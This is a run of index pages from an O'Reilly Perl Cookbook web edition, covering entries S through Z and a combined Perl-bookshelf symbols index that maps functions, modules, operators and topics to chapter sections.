accessing overridden methods : 13.10. Accessing Overridden Methods
inheritance and : 13.12. Solving the Data Inheritance Problem
surface copies : 11.12. Copying Data Structures
surl script : 20.8. Finding Fresh Links
switch statement
19.8. Redirecting to a Different Location
19.12. Writing a Multiscreen CGI Script
Symbol::qualify(�) : 12.5. Determining the Caller's Package
symbolic links : 9.0. Introduction
duplicating directory trees : 9.11. Program: symirror
to packages : 12.13. Referring to Packages Indirectly
symirror program (example) : 9.11. Program: symirror
symmetric differences of lists : 4.8. Computing Union, Intersection, or Difference of Unique Lists
Sys::Hostname module : 17.8. Finding Your Own Name and Address
Sys::Syslog module : 17.17. Program: backsniff
syscall(�) : 3.9. High-Resolution Timers
sysopen(�) : 7.1. Opening a File
strange filenames with : 7.2. Opening Files with Unusual Filenames
sysread(�)
8.0. Introduction
17.0. Introduction
sysseek(�) : 8.0. Introduction
system(�)
16.2. Running Another Program
19.6. Executing Commands Without Shell Escapes
SysV IPC : 16.12. Sharing Variables in Different Processes
syswrite(�)
8.0. Introduction
17.0. Introduction

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

-t option : 15.2. Testing Whether a Program Is Running Interactively
tabs : (see whitespace)
tags, HTML : (see HTML)
tailwtmp program : 8.18. Program: tailwtmp
taint mode : 19.4. Writing a Safe CGI Program
tan(�) : 2.12. Calculating More Trigonometric Functions
tcapdemo program (example) : 15.18. Program: Small termcap program
tcgrep program : 6.22. Program: tcgrep
TCP protocol
communicating over : 17.3. Communicating over TCP
writing clients : 17.1. Writing a TCP Client
writing servers : 17.2. Writing a TCP Server
TCP_NODELAY socket option : 17.3. Communicating over TCP
tctee program : 8.19. Program: tctee
tear-off menus : 15.14. Creating Menus with Tk
tell(�) : 8.0. Introduction
telnet, simulating from programs : 18.6. Simulating Telnet from a Program
template(�) : 20.9. Creating HTML Templates
templates
HTML : 20.9. Creating HTML Templates
for modules : 12.18. Example: Module Template
temporary files : 7.5. Creating Temporary Files
modifying files with : 7.8. Modifying a File in Place with Temporary File
modifying files without : 7.10. Modifying a File in Place Without a Temporary File
Term::ANSIColor module : 15.5. Changing Text Color
Term::Cap module
15.3. Clearing the Screen
15.18. Program: Small termcap program
Term::ReadKey module : 1.12. Reformatting Paragraphs
checking for waiting input : 15.9. Checking for Waiting Input
determining window size : 15.4. Determining Terminal or Window Size
reading from keyboard : 15.6. Reading from the Keyboard
reading passwords : 15.10. Reading Passwords
Term::ReadLine module : 15.11. Editing Input
Term::ReadLine::Gnu module : 15.11. Editing Input
terminal : (see user interfaces)
termios interface : 15.8. Using POSIX termios
text : (see strings)
text color : 15.5. Changing Text Color
Text::ParseWords module : 1.15. Parsing Comma-Separated Data
Text::Soundex module : 1.16. Soundex Matching
Text::Tabs module : 1.7. Expanding and Compressing Tabs
Text::Template module : 20.9. Creating HTML Templates
Text::Wrap module : 1.12. Reformatting Paragraphs
threads : 16.17. Writing a Signal Handler
tie(�)
13.15. Creating Magic Variables with tie
14.1. Making and Using a DBM File
Tie::IxHash module : 5.6. Retrieving from a Hash in Insertion Order
Tie::RefHash module : 5.12. Hashing References
TIESCALAR(�), TIEARRAY(�), TIEHASH(�), TIEHANDLE(�) : 13.15. Creating Magic Variables with tie
tildes in filenames : 7.3. Expanding Tildes in Filenames
time : (see date and time)
time(�) : 3.0. Introduction
time zones : (see date and time)
Time::gmtime module
3.0. Introduction
3.3. Converting Epoch Seconds to DMYHMS
Time::HiRes module : 3.9. High-Resolution Timers
Time::Local module
3.0. Introduction
3.2. Converting DMYHMS to Epoch Seconds
Time::localtime module : 3.0. Introduction
Time::timelocal module : 3.3. Converting Epoch Seconds to DMYHMS
Time::tm module : 3.0. Introduction
timegm(�)
3.0. Introduction
3.2. Converting DMYHMS to Epoch Seconds
timelocal(�)
3.0. Introduction
3.2. Converting DMYHMS to Epoch Seconds
timers, high-resolution : 3.9. High-Resolution Timers
timestamps : 9.1. Getting and Setting Timestamps
timing out operations : 16.21. Timing Out an Operation
Tk toolkit : 15.0. Introduction
dialog boxes : 15.15. Creating Dialog Boxes with Tk
menus : 15.14. Creating Menus with Tk
removing DOS shell window : 15.17. Removing the DOS Shell Window with Windows Perl/Tk
resize events : 15.16. Responding to Tk Resize Events
tkshufflepod program : 15.19. Program: tkshufflepod
tksample3 program (example) : 15.15. Creating Dialog Boxes with Tk
tksample4 program (example) : 15.15. Creating Dialog Boxes with Tk
tkshufflepod program (example) : 15.19. Program: tkshufflepod
tmpfile(�) (POSIX module) : 7.5. Creating Temporary Files
tmpnam(�) (POSIX module) : 7.5. Creating Temporary Files
today's date : 3.1. Finding Today's Date
tr/// operator
~ operator with : 1.1. Accessing Substrings
converting case with : 1.9. Controlling Case
trailing growing files : 8.5. Trailing a Growing File
trailing whitespace, removing : 1.14. Trimming Blanks from the Ends of a String
transparently persistent data structures : 11.14. Transparently Persistent Data Structures
trapping undefined function calls : 10.15. Trapping Undefined Function Calls with AUTOLOAD
traversing hashes : 5.4. Traversing a Hash
tree structures : 11.15. Program: Binary Trees
tree, directory : (see directories)
trigonometry : 2.11. Doing Trigonometry in Degrees, not Radians
truncate(�) : 8.0. Introduction
truth (Boolean) : 1.0. Introduction
tsc_permute program (example) : 4.19. Program: permute
tty devices, testing for : 15.2. Testing Whether a Program Is Running Interactively
typed referents : 11.0. Introduction
typeglobs
1.18. Program: psgrep
7.16. Storing Filehandles in Variables
7.20. Copying Filehandles
10.13. Saving Global Values

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

\U string escape : 1.9. Controlling Case
\u string escape : 1.9. Controlling Case
uc(�) : 1.9. Controlling Case
ucfirst(�) : 1.9. Controlling Case
UDP protocol
writing clients : 17.4. Setting Up a UDP Client
writing servers : 17.5. Setting Up a UDP Server
udpmsg program (example) : 17.5. Setting Up a UDP Server
udpqotd program (example) : 17.5. Setting Up a UDP Server
umask values : 7.1. Opening a File
uname(�) (POSIX) : 17.8. Finding Your Own Name and Address
unbuffered input/output
7.0. Introduction
7.12. Flushing Output
8.0. Introduction
15.6. Reading from the Keyboard
uncontrol subroutine : 15.8. Using POSIX termios
undef(�) : 11.0. Introduction
undefined (undef) value : 1.0. Introduction
Unicode : 1.0. Introduction
unimport(�)
1.18. Program: psgrep
13.15. Creating Magic Variables with tie
unions of lists : 4.7. Finding Elements in One Array but Not Another
unique list elements, extracting : 4.6. Extracting Unique Elements from a List
UNIVERSAL package : 13.8. Determining Subclass Membership
Unix domain sockets
17.0. Introduction
17.6. Using UNIX Domain Sockets
UnixDate(�) : 3.7. Parsing Dates and Times from Strings
unlink(�)
9.2. Deleting a File
9.8. Removing a Directory and Its Contents
unpack(�)
1.1. Accessing Substrings
1.4. Converting Between ASCII Characters and Values
8.15. Reading Fixed-Length Records
converting binary and decimal numbers : 2.4. Converting Between Binary and Decimal
unshift(�)
circular lists : 4.16. Implementing a Circular List
Tie::IxHash module and : 5.6. Retrieving from a Hash in Insertion Order
untie(�) : 14.1. Making and Using a DBM File
uppercase, converting to lowercase : 1.9. Controlling Case
URI::Heuristic : 20.7. Finding Stale Links
urlify program : 6.21. Program: urlify
URLs (Uniform Resource Locators) : 19.0. Introduction
extracting from HTML : 20.3. Extracting URLs
fetching from Perl scripts : 20.1. Fetching a URL from a Perl Script
putting HTML links around : 6.21. Program: urlify
redirecting CGI requests : 19.8. Redirecting to a Different Location
use pragmas : 12.0. Introduction
trapping errors in : 12.2. Trapping Errors in require or use
use autouse pragma : 12.3. Delaying use Until Run Time
use lib pragma : 12.7. Keeping Your Own Module Directory
use locale pragma
1.9. Controlling Case
6.0. Introduction
6.12. Honoring Locale Settings in Regular Expressions
use overload pragma : 13.14. Overloading Operators
Usenet news : 18.4. Reading and Posting Usenet News Messages
user input : (see input)
user interfaces : 15.0. Introduction
checking for waiting input : 15.9. Checking for Waiting Input
clearing the screen : 15.3. Clearing the Screen
controlling programs with Expect : 15.13. Controlling Another Program with Expect
determining window size : 15.4. Determining Terminal or Window Size
dialog boxes with Tk : 15.15. Creating Dialog Boxes with Tk
editing input : 15.11. Editing Input
full-screen mode : 15.0. Introduction
managing screen : 15.12. Managing the Screen
manipulating terminal directly : 15.8. Using POSIX termios
menus with Tk : 15.14. Creating Menus with Tk
multiscreen CGI scripts : 19.12. Writing a Multiscreen CGI Script
parsing command-line options : 15.1. Parsing Program Arguments
reading from keyboard : 15.6. Reading from the Keyboard
reading passwords without echo : 15.10. Reading Passwords
removing DOS shell window : 15.17. Removing the DOS Shell Window with Windows Perl/Tk
ringing terminal bell : 15.7. Ringing the Terminal Bell
tcapdemo program : 15.18. Program: Small termcap program
testing programs if running interactively : 15.2. Testing Whether a Program Is Running Interactively
text color : 15.5. Changing Text Color
Tk resize events : 15.16. Responding to Tk Resize Events
userstats program (example) : 14.1. Making and Using a DBM File
utime(�) : 9.1. Getting and Setting Timestamps
uvi program (example) : 9.1. Getting and Setting Timestamps

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

values
(see also numbers; strings; variables)
1.2. Establishing a Default Value
comma-separated (CSV)
initializing arrays with : 4.1. Specifying a List In Your Program
parsing : 1.15. Parsing Comma-Separated Data
converting with ASCII characters : 1.4. Converting Between ASCII Characters and Values
definedness
1.0. Introduction
1.2. Establishing a Default Value
exchanging between scalar variables : 1.3. Exchanging Values Without Using Temporary Variables
values(�), Tie::IxHash module and : 5.6. Retrieving from a Hash in Insertion Order
variable-length text fields : 8.9. Processing Variable-Length Text Fields
variables
expanding in user input : 1.8. Expanding Variables in User Input
filehandles as
7.0. Introduction
7.16. Storing Filehandles in Variables
loop (iterator) variables : 4.4. Doing Something with Every Element in a List
magic : 13.15. Creating Magic Variables with tie
private for modules : 12.4. Making Variables Private to a Module
private, for subroutines : 10.2. Making Variables Private to a Function
scalars : (see scalars)
sharing among different processes : 16.12. Sharing Variables in Different Processes
strings : (see strings)
vbsh program (example) : 15.11. Editing Input
$VERSION variable (use pragma) : 12.1. Defining a Module's Interface
VERSION(�) (UNIVERSAL) : 13.8. Determining Subclass Membership
visual bell : 15.7. Ringing the Terminal Bell
vrfy program (example) : 18.9. Program: expn and vrfy

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

wait(�) : 16.19. Avoiding Zombie Processes
waitpid(�) : 16.19. Avoiding Zombie Processes
wantarray(�) : 10.6. Detecting Return Context
__WARN__ signal : 16.15. Installing a Signal Handler
warn(�), dialog box for : 15.15. Creating Dialog Boxes with Tk
warnings
(see also errors)
12.12. Reporting Errors and Warnings Like Built-Ins
reporting like built-ins : 12.12. Reporting Errors and Warnings Like Built-Ins
wc program : 8.2. Counting Lines (or Paragraphs or Records) in a File
web, references on : 19.0. Introduction
web architecture : 19.0. Introduction
web automation : 20.0. Introduction
converting ASCII to/from HTML : 20.4. Converting ASCII to HTML
extracting URLs from HTML : 20.3. Extracting URLs
fetching URLs : 20.1. Fetching a URL from a Perl Script
finding stale/fresh links : 20.7. Finding Stale Links
HTML templates : 20.9. Creating HTML Templates
HTML text substitutions : 20.14. Program: htmlsub
mirroring web pages : 20.10. Mirroring Web Pages
parsing web server log files : 20.12. Parsing a Web Server Log File
processing server logs : 20.13. Processing Server Logs
removing/extracting HTML tags : 20.6. Extracting or Removing HTML Tags
robots : 20.11. Creating a Robot
submitting HTML forms : 20.2. Automating Form Submission
web server logs : 19.0. Introduction
parsing : 20.12. Parsing a Web Server Log File
processing : 20.13. Processing Server Logs
week_number(�) : 3.6. Day in a Week/Month/Year or Week Number
weekearly program (example) : 8.13. Updating a Random-Access File
weeks : (see date and time)
weighted_rand(�) (example) : 2.10. Generating Biased Random Numbers
whitespace
deleting leading/trailing : 1.14. Trimming Blanks from the Ends of a String
extracting ranges of lines : 6.8. Extracting a Range of Lines
indenting here documents : 1.11. Indenting Here Documents
matching across multiple lines : 6.6. Matching Multiple Lines
matching words : 6.3. Matching Words
in pod documentation : 12.16. Documenting Your Module with Pod
sorted text in columns and : 4.18. Program: words
sorting du command output : 5.16. Program: dutree
tabs, expanding/compressing : 1.7. Expanding and Compressing Tabs
who.cgi script (example) : 19.11. Creating Sticky Widgets
whoami(�) : 10.4. Determining Current Function Name
whois service : 18.8. Using Whois to Retrieve Information from the InterNIC
whowasi(�) : 10.4. Determining Current Function Name
wildcards (shell) for regexp matching : 6.9. Matching Shell Globs as Regular Expressions
Win32::Process module : 15.17. Removing the DOS Shell Window with Windows Perl/Tk
window size, determining
12.14. Using h2ph to Translate C #include Files
15.4. Determining Terminal or Window Size
windows
dialog boxes (Tk) : 15.15. Creating Dialog Boxes with Tk
DOS shell, removing : 15.17. Removing the DOS Shell Window with Windows Perl/Tk
menu bars in (Tk) : 15.14. Creating Menus with Tk
winsz program (example) : 12.14. Using h2ph to Translate C #include Files
words
duplicate, finding : 6.16. Detecting Duplicate Words
fuzzy matching : 6.13. Approximate Matching
matching abbreviations : 6.20. Matching Abbreviations
pattern matching : 6.3. Matching Words
pluralizing, based on numbers : 2.18. Printing Correct Plurals
processing all in file : 8.3. Processing Every Word in a File
reversing : 1.6. Reversing a String by Word or Character
sorting into columns : 4.18. Program: words
substitutions for specific : 1.17. Program: fixstyle
text color, changing : 15.5. Changing Text Color
wrapping paragraph text : 1.12. Reformatting Paragraphs
words program (example) : 4.18. Program: words
wrapdemo program (example) : 1.12. Reformatting Paragraphs
wrapping paragraph text : 1.12. Reformatting Paragraphs
write(�) : 16.4. Reading or Writing to Another Program
writing files : (see file access; file contents)
wtmp file, adding records to : 8.18. Program: tailwtmp

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x command (Perl debugger) : 11.11. Printing Data Structures
x operator : 2.14. Multiplying Matrices
-X operators : 9.0. Introduction
/x substitution modifier : 1.8. Expanding Variables in User Input
comments in regular expressions : 6.4. Commenting Regular Expressions
XS interface
12.8. Preparing a Module for Distribution
12.15. Using h2xs to Make a Module with C Code

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

Year 2000 problem : 3.0. Introduction
years : (see date and time)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

zombies
16.0. Introduction
16.19. Avoiding Zombie Processes

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

-0 option (perl)
Perl Cookbook, 8.0. Introduction
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
"0 but not true"
Perl Cookbook, 10.10. Returning Failure
Perl Cookbook, 17.2. Writing a TCP Server
\007 (octal value) sequence : Perl in a Nutshell, 4.6.3. Escaped Sequences
0666, as permission : Learning Perl, 13.5. Modifying Permissions
"1 while" : Perl Cookbook, 1.7. Expanding and Compressing Tabs
\1, \2, ... in regular expressions
Learning Perl, 7.3.2.3. Parentheses as memory
Learning Perl, 7.4.5. Special Read-Only Variables
Learning Perl on Win32 Systems, 7.3.2.3. Parentheses as memory
Learning Perl on Win32 Systems, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.6.7. Pattern Match Variables
"500 Server Error", fixing : Perl Cookbook, 19.3. Fixing a 500 Server Error
8.3 filename format : Learning Perl on Win32 Systems, 10.3. Using Pathnames and Filenames
& (ampersand) : Programming Perl, 2.5.10. Named Unary and File Test Operators
address-of operator (in C) : Programming Perl, 2.5.21. C Operators Missing from Perl
bitwise AND operator
Perl in a Nutshell, 4.5.10. Bitwise Operators
Programming Perl, 2.5.13. Bitwise Operators
calling subroutines : Perl in a Nutshell, 4.7.1. Calling Subroutines
in encoded URLs : Perl in a Nutshell, 9.2. URL Encoding
in filenames : Programming Perl, 3.2.102. open
prototype character
Perl in a Nutshell, 4.7.5. Prototypes
Programming Perl, 2.7.3. Prototypes
query strings and : Learning Perl, 19.2. Your CGI Program in Context
for subroutine names
Programming Perl, 2.3.1. Variables
Programming Perl, 2.7. Subroutines
&& (logical AND) operator
Perl Cookbook, 1.2. Establishing a Default Value
Learning Perl, 9.6. && and || as Control Structures
Perl in a Nutshell, 4.5.9. Logical Operators
Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
&&= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
&= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
< > (angle brackets)
< access mode : Perl Cookbook, 7.0. Introduction
< (filename globbing) operator
Learning Perl, 12.2. Globbing
Programming Perl, 2.3.7.3. Filename globbing operator
Programming Perl, 3.2.102. open
< (format field character)
Learning Perl, 11.4.1. Text Fields
Perl in a Nutshell, 4.10. Formats
< for left justification
Learning Perl, 2.4.2. Operators for Strings
Programming Perl, 2.8.1. Format Variables
< (less than) operator
Learning Perl on Win32 Systems, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
< (line input) operator : Programming Perl, 2.3.7.2. Line input (angle) operator
< Perl debugger command
Perl in a Nutshell, Chapter 6, Reference: <
Programming Perl, 8.1.1. Debugger Commands
<< for here documents : Programming Perl, 2.3.2.6. "Here" documents
<< (left-shift) operator : Programming Perl, 2.5.9. Shift Operators
<< Perl debugger command : Perl in a Nutshell, Chapter 6, Reference: <<
<<= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
<> (angle, diamond, line-input) operator
Advanced Perl Programming, 3.1.2.1. When would you ever need to use local?
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.7. Writing a Filter
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
Perl Cookbook, 17.0. Introduction
Learning Perl, 6.2. Input from the Diamond Operator
Learning Perl on Win32 Systems, 17.5. Variable-Length (Text) Databases
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 7.2.35.3. Non-option callback routine
examples of
Learning Perl, A.7. Chapter 8, Functions
Learning Perl, A.9. Chapter 10, Filehandles and File Tests
Learning Perl, A.14. Chapter 15, Other Data Transformation
Learning Perl, A.16. Chapter 17, User Database Manipulation
Learning Perl on Win32 Systems, A.7. Chapter 8, Functions
Learning Perl on Win32 Systems, A.9. Chapter 10, Filehandles and File Tests
Learning Perl on Win32 Systems, A.14. Chapter 15, Other Data Transformation
Learning Perl on Win32 Systems, A.16. Chapter 17, Database Manipulation
Learning Perl on Win32 Systems, 7.2. Simple Uses of Regular Expressions
<&= and <& open modes : Perl Cookbook, 7.19. Opening and Closing File Descriptors by Number
<= (less than or equal) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
<=> (comparison, spaceship) operator
Perl Cookbook, 4.14. Sorting an Array Numerically
Learning Perl, 15.4. Advanced Sorting
Perl in a Nutshell, 4.5.4.2. Equality operators
Programming Perl, 2.5.12. Equality Operators
Programming Perl, 3.2.153. sort
examples of : Learning Perl, A.16. Chapter 17, User Database Manipulation
<% %> delimiters : Perl in a Nutshell, 20.2. Server-Side PerlScript
<FH> operator : Programming Perl, 8.2.2. Frequently Ignored Advice
> access mode : Perl Cookbook, 7.0. Introduction
> (filename globbing) operator
Learning Perl, 12.2. Globbing
Programming Perl, 2.3.7.3. Filename globbing operator
Programming Perl, 3.2.102. open
> (format field character)
Learning Perl, 11.4.1. Text Fields
Perl in a Nutshell, 4.10. Formats
> (greater than) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
> (line input) operator : Programming Perl, 2.3.7.2. Line input (angle) operator
> (Perl debugger) command
Perl in a Nutshell, Chapter 6, Reference: >
Programming Perl, 8.1.1. Debugger Commands
> (for right justification) : Programming Perl, 2.8.1. Format Variables
>&, in open()
Perl Cookbook, 7.19. Opening and Closing File Descriptors by Number
Learning Perl, 14.5. Summary of Process Operations
>> access mode : Perl Cookbook, 7.0. Introduction
>> to open file for appending : Perl in a Nutshell, 4.9. Filehandles
>> Perl debugger command : Perl in a Nutshell, Chapter 6, Reference: >>
>> (right-shift) operator : Programming Perl, 2.5.9. Shift Operators
>>= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
>= (greater than or equal) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
* (asterisk) : Programming Perl, 2.5.10. Named Unary and File Test Operators
dereference operator (in C) : Programming Perl, 2.5.21. C Operators Missing from Perl
multiplication operator
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 2.5.7. Multiplicative Operators
in pack format string : Learning Perl, 16.2. Packing and Unpacking Binary Data
as prefix : Learning Perl, D.7. Symbol Table Manipulation with *FRED
prototype character
Perl in a Nutshell, 4.7.5. Prototypes
Programming Perl, 2.7.3. Prototypes
quantifier
Programming Perl, 1.7.1. Quantifiers
Programming Perl, 2.4.1.2. The rules of regular expression matching
regular expression metacharacter
Learning Perl, 7.3.2.2. Multipliers
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
to store filehandles
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.16. Storing Filehandles in Variables
for typeglob names
Programming Perl, 2.3.6. Typeglobs and Filehandles
Programming Perl, 2.7.1. Passing Symbol Table Entries (Typeglobs)
** (exponentiation) operator
Learning Perl, 2.4.1. Operators for Numbers
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 2.5.4. Exponentiation
Programming Perl, 8.2.3. Awk Traps
**= operator
Learning Perl, 2.6.1. Binary Assignment Operators
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
*= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
*? regular expression quantifier : Perl in a Nutshell, 4.6.6. Quantifiers
@ (at sign) : Programming Perl, 8.2.7. Previous Perl Traps
array name prefix
Learning Perl, 1.5.5. More than One Secret Word
Learning Perl on Win32 Systems, 1.6.5. More than One Secret Word
Perl in a Nutshell, 4.2.4.1. Arrays
Programming Perl, 2.3.1. Variables
in debugger : Programming Perl, 8.1.2. Using the Debugger
dereferencing with
Advanced Perl Programming, 1.1.4. References to Arrays
Perl in a Nutshell, 4.8.2. Dereferencing
format field delimiter
Learning Perl, 11.4.1. Text Fields
Perl in a Nutshell, 4.10. Formats
in picture lines : Programming Perl, 2.8. Formats
prefix for array variables : Learning Perl, 3.3. Variables
prototype character
Perl in a Nutshell, 4.7.5. Prototypes
Programming Perl, 2.7.3. Prototypes
@*, in formats : Learning Perl, 11.4.3. Multiline Fields
@_ array
Perl Cookbook, 10.1. Accessing Subroutine Arguments
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl, 8.4. Arguments
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 8.4. Arguments
Perl in a Nutshell, 4.7.2. Passing Arguments
Programming Perl, 2.7. Subroutines
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl, 8.1.7. Debugger Bugs
` (backquote)
Learning Perl, 1.5.12. Warning Someone When Things Go Astray
Programming Perl, 6.2.2.1. Anonymous pipes
as command invocation : Learning Perl, 14.2. Using Backquotes
emulating : Programming Perl, 6.3.1.2. Cleaning up your path
example of : Learning Perl, A.13. Chapter 14, Process Management
expanding : Perl Cookbook, 1.10. Interpolating Functions and Expressions Within Strings
operator
Perl Cookbook, 16.1. Gathering Output from a Program
Perl Cookbook, 19.6. Executing Commands Without Shell Escapes
Programming Perl, 2.3.7.1. Command input (backtick) operator
Programming Perl, 8.2.6. Shell Traps
Programming Perl, 8.4. Programming with Style
qx() : Perl Cookbook, 4.1. Specifying a List In Your Program
\ (backslash)
Learning Perl, 2.3.2. Double-Quoted Strings
Learning Perl on Win32 Systems, 10.3. Using Pathnames and Filenames
escapes
Perl Cookbook, 1.13. Escaping Characters
Learning Perl, 2.3.1. Single-Quoted Strings
Learning Perl on Win32 Systems, 2.3.2. Double-Quoted Strings
Programming Perl, 2.4.1.1. The regular expression bestiary
for multiline commands : Programming Perl, 8.1.2. Using the Debugger
operator
Perl Cookbook, 10.5. Passing Arrays and Hashes by Reference
Perl Cookbook, 11.5. Taking References to Scalars
in prototype declarations : Perl in a Nutshell, 4.7.5. Prototypes
quotemeta function for : Programming Perl, 3.2.114. quotemeta
reference creation operator
Perl in a Nutshell, 4.5.2. Unary Operators
Perl in a Nutshell, 4.8.1. Creating References
Programming Perl, 2.5.5. Ideographic Unary Operators
Programming Perl, 4.2.1. The Backslash Operator
in regular expressions
Learning Perl, 7.3.1. Single-Character Patterns
Learning Perl, 7.3.3. Anchoring Patterns
Learning Perl on Win32 Systems, 7.3.1. Single-Character Patterns
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
as memory access : Learning Perl, 7.3.2.3. Parentheses as memory
static allocation : Advanced Perl Programming, 1.1. Referring to Existing Variables
in system() argument : Learning Perl, 14.1. Using system and exec
\1, \2, ... pattern match variables
Learning Perl, 7.3.2.3. Parentheses as memory
Learning Perl, 7.4.5. Special Read-Only Variables
Learning Perl on Win32 Systems, 7.3.2.3. Parentheses as memory
Learning Perl on Win32 Systems, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.6.7. Pattern Match Variables
\@ reference notation : Learning Perl, 19.7.1. References
! (bang)
for argument specifiers : Programming Perl, 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
CPAN.pm eval command : Perl in a Nutshell, Chapter 2, Reference: !
example of : Learning Perl, A.13. Chapter 14, Process Management
in import list : Programming Perl, 7.2.15.1. Specialized import lists
logical negation operator
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Perl in a Nutshell, 4.5.2. Unary Operators
Programming Perl, 2.5.5. Ideographic Unary Operators
.newsrc entries : Perl in a Nutshell, 15.3. The News::Newsrc Module
Perl debugger command
Perl in a Nutshell, Chapter 6, Reference: !
Programming Perl, 8.1.1. Debugger Commands
!! debugger command
Perl in a Nutshell, Chapter 6, Reference: !!
Programming Perl, 8.1.1. Debugger Commands
!= (not equal to) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.2. Equality operators
Programming Perl, 2.5.12. Equality Operators
Programming Perl, 8.2.1. Universal Blunders
!~ (binding) operator : Programming Perl, 2.5.6. Binding Operators
!~ (pattern match) operator : Perl in a Nutshell, 4.5.7. Pattern Match Operators
{} (braces)
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 1.2.5. A More General Rule
Programming Perl, 4.5. Braces, Brackets, and Quoting
Programming Perl, 8.2.1. Universal Blunders
Programming Perl, 8.4. Programming with Style
anonymous hashes : Advanced Perl Programming, 1.2.3. References to Anonymous Storage
in awk : Programming Perl, 8.2.3. Awk Traps
in double-quoted strings : Learning Perl, 2.6.4. Interpolation of Scalars into Strings
hash composer : Programming Perl, 4.2.3. The Anonymous Hash Composer
identifiers in : Programming Perl, 2.3.2.2. String literals
quantifier
Programming Perl, 1.7.1. Quantifiers
Programming Perl, 2.4.1.2. The rules of regular expression matching
in regular expressions
Learning Perl, 7.3.2.2. Multipliers
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
Perl in a Nutshell, 4.6.6. Quantifiers
required in if statements : Learning Perl, 4.2. The if/unless Statement
statement blocks
Perl in a Nutshell, 4.3. Statements
Programming Perl, 2.6.2. Compound Statements
{ Perl debugger command : Perl in a Nutshell, Chapter 6, Reference: {
